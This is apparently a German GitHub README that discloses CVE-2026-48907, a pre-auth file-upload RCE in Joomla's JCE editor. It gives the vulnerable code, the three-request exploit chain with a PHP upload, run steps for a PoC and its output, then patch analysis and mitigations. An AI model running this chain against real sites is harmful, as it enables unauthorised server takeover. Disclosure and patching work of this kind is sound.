
CVE-2026-48907 ist eine CVSS 10.0 Pre-Auth-RCE im Joomla Content Editor, die alle Versionen ≤ 2.9.99.4 betrifft. Das Grayxploit-Team analysiert die 3-Schwachstellenkette — fehlende Authentifizierung, keine Erweiterungsvalidierung und ein unsicheres Upload-Flag — die es Angreifern ermöglicht, mit 3 HTTP-Anfragen eine Shell zu öffnen.
Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung.
Forschung vom Grayxploit Security Team
CVE-2026-48907 ist eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung – dem am weitesten verbreiteten Joomla-Editor – in allen Versionen bis einschließlich 2.9.99.4.
Durch die Verkettung von drei unabhängigen Sicherheitsschwachstellen im JCE-Profilimport-Workflow kann ein völlig unauthentifizierter Angreifer Folgendes tun:
/tmp/-Verzeichnis des Servers hochladenDer Angriff erfordert nur 3 HTTP-Anfragen und funktioniert gegen jede Standard-Joomla-Installation mit einer verwundbaren JCE-Version.
CVSS v4 Punktzahl: 10.0 — Kritisch
Entdeckt und öffentlich offengelegt vom Grayxploit Security-Forschungsteam nach verantwortungsvoller Offenlegung.
| Software | Verwundbare Versionen | Patch-Version |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (empfohlen) |
Hinweis: 2.9.99.5 führte den Kernfix ein. 2.9.99.6 fügte zusätzliche Härtungsschichten hinzu. Aktualisieren Sie auf 2.9.99.6 oder höher.
Die Schwachstelle hat ihren Ursprung im JCE-Profilimport-Endpunkt:
POST /index.php?option=com_jce&task=profiles.import
JCE erlaubt Administratoren, Editorprofile als XML-Dateien zu exportieren und zu importieren. Der Import-Handler ist ohne Authentifizierung erreichbar und akzeptiert aufgrund einer Kette von drei unabhängigen Schwachstellen beliebige Datei-Uploads.
Die Import-Controller führte keine ACL-Prüfung durch:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla bettet das CSRF-Token in jede öffentliche Seite als Meta-Tag oder JavaScript-Variable ein:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Ein Angreifer ruft einfach die Startseite ab, extrahiert das Token und spielt es erneut ab. Die CSRF-Prüfung verhindert Cross-Site-Anfragen – sie verhindert nicht direkte scriptgesteuerte Anfragen. Es gab keinen Aufruf von Factory::getUser() oder $user->authorise(...) im gesamten Import-Pfad.
Der Upload-Handler verwendete File::makeSafe(), das nur ungültige Dateisystemzeichen entfernt – es überprüft oder schränkt Dateiendungen nicht ein:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Ein Dateiname wie shell.xml.php passiert File::makeSafe() unverändert. Apache's mod_php führt ihn aus, da die letzte erkannte Endung .php ist. Endungen wie .php, .php5, .phtml und Doppelvarianten wurden alle akzeptiert.
File::upload() mit $allow_unsafe = true aufgerufen (CWE-116)Joomla's File::upload() verfügt über eine integrierte Erweiterungs-Blacklist, die gefährliche Dateitypen blockiert, wenn $allow_unsafe = false (Standard) ist:
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Der verwundbare JCE-Code hat dieses Sicherheitsnetz explizit deaktiviert:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Dieser einzelne Boolean-Wert schaltete die gesamte interne Erweiterungs-Blacklist von Joomla aus, sodass .php, .php5, .phtml und alle anderen ausführbaren Erweiterungen auf die Festplatte geschrieben werden konnten.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.
⚠️ Dieser PoC dient ausschließlich der autorisierten Sicherheitsforschung und Penetrationstests. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung. Unbefugte Nutzung ist illegal und unethisch.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Ziel : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Schritt 1 — CSRF-Token abrufen...
[+] CSRF-Token: abcdef1234567890abcdef1234567890
[] Schritt 2 — Payload hochladen...
[+] Hochlade-Antwort: HTTP 200
[*] Schritt 3 — Ausführung des Payloads auslösen...
[KRITISCH] RCE BESTÄTIGT — CVE-2026-48907
Ziel http://localhost:9999 ist VERWUNDBAR
Alle drei Schwachstellen wurden in JCE 2.9.99.5 behoben, mit zusätzlicher Härtung in 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Gastbenutzer (id = 0) scheitern sofort an authorise(). Die Anfrage wird abgewiesen, bevor eine Dateiverarbeitung stattfindet.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION gibt nur die letzte Endung zurück. shell.xml.php → php → abgelehnt. Dadurch werden alle Multi-Extension-Umgehungen neutralisiert.
// Vorher (verwundbar)
File::upload($source, $destination, false, true);
// Nachher (gepatcht)
File::upload($source, $destination, false);
Die interne Erweiterungs-Blacklist von Joomla wird als unabhängige Verteidigungsschicht wieder aktiviert.
| Fix | Detail |
|---|---|
| Upload-Größenbegrenzung | Lehnt Dateien > 512 KB ab |
| XXE-Schutz | libxml_disable_entity_loader(true) zurückportiert auf PHP 7.x |
| XML-Feld-Whitelist | Nur bekannte, sichere XML-Schlüssel werden verarbeitet; unbekannte Schlüssel werden still ignoriert |
/tmp/ über .htaccess deaktivieren<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
Dieses Repository ist ausschließlich für autorisierte Sicherheitsforschung, Schulungen und Penetrationstests auf Systemen bestimmt, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung haben.
Das Grayxploit-Team ist nicht verantwortlich für unbefugte, illegale oder böswillige Nutzung des Codes oder der in diesem Repository bereitgestellten Informationen.
Verantwortungsvoll nutzen. Legal testen.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
Jeder Stern hilft, diese Forschung zu mehr Verteidigern, Pentestern und Blue Teamern zu bringen, die sie brauchen.
Grayxploit ist ein unabhängiges Sicherheitsforschungsteam, das sich auf die Entdeckung von Schwachstellen, Exploit-Entwicklung und verantwortungsvolle Offenlegung in Webplattformen, CMS-Ökosystemen und Open-Source-Software konzentriert.
| Priorität | Aktion |
|---|
| 🔴 Sofort | JCE auf ≥ 2.9.99.6 aktualisieren |
| 🟠 Hoch | Webzugriff auf /tmp/ auf Serverebene blockieren oder einschränken |
| 🟠 Hoch | PHP-Ausführung in temporären Verzeichnissen via .htaccess oder Serverkonfiguration deaktivieren |
| 🟡 Mittel | WAF-Regel hinzufügen, um bei com_jce&task=profiles.import von nicht authentifizierten Sitzungen zu warnen/blockieren |
| 🟡 Mittel | Andere Joomla-Erweiterungen auf File::upload(..., true) ohne Erweiterungsvalidierung prüfen |
| Datum | Ereignis |
|---|
| 2026-05-XX | Schwachstelle vom Grayxploit-Forschungsteam entdeckt |
| 2026-05-XX | Verantwortungsvolle Offenlegung an die JCE-Maintainer |
| 2026-06-XX | CVE-2026-48907 von MITRE zugewiesen |
| 2026-06-XX | JCE 2.9.99.5 veröffentlicht — Kernfix |
| 2026-06-12 | JCE 2.9.99.6 veröffentlicht — zusätzliche Härtung |
| 2026-06-12 | Öffentliche Offenlegung durch Grayxploit |
| Wir finden | Wir legen offen | Sie verteidigen |
|---|---|---|
| Pre-Auth-RCEs | Verantwortungsvoll und öffentlich | Mit unserer detaillierten Patch-Analyse |
| Logikfehler | Mit vollständiger Ursachenanalyse | Durch sichere Nutzung unserer PoCs |
| Verkettete Schwachstellen | Bevor die Massenausbeutung beginnt | Schneller als Bedrohungsakteure |
Haben Sie einen Tipp oder möchten Sie zusammenarbeiten? Eröffnen Sie ein Issue oder kontaktieren Sie uns über unser GitHub-Profil.
CVE-2026-48907 — Originalforschung von
Dinge kaputt machen. Verantwortungsvoll.